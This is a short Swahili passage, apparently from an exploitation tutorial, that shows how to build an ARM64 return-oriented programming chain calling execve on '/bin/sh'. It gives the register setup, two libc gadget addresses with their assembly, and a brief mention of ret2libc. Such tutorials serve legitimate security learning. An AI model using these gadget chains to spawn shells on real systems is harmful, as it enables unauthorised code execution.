Ili kuandaa wito kwa syscall inahitajika mazingira yafuatayo:
x8: 221 Taja sys_execve
x0: ptr kwa "/bin/sh" taja faili ya kutekelezwa
x1: 0 taja hakuna hoja zilizopitishwa
x2: 0 taja hakuna mazingira ya mazingira yaliyopitishwa
Kutumia ROPgadget.py niliweza kutambua vifaa vifuatavyo katika maktaba ya libc ya mashine:
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
Kwa vifaa vya awali tunaweza kudhibiti rejista zote zinazohitajika kutoka kwenye steki na kutumia x5 kuruka kwenye kifaa cha pili ili kuita syscall.
Tafadhali kumbuka kwamba kujua habari hii kutoka kwa maktaba ya libc pia inaruhusu kufanya shambulio la ret2libc, lakini tutumie kwa mfano huu wa sasa.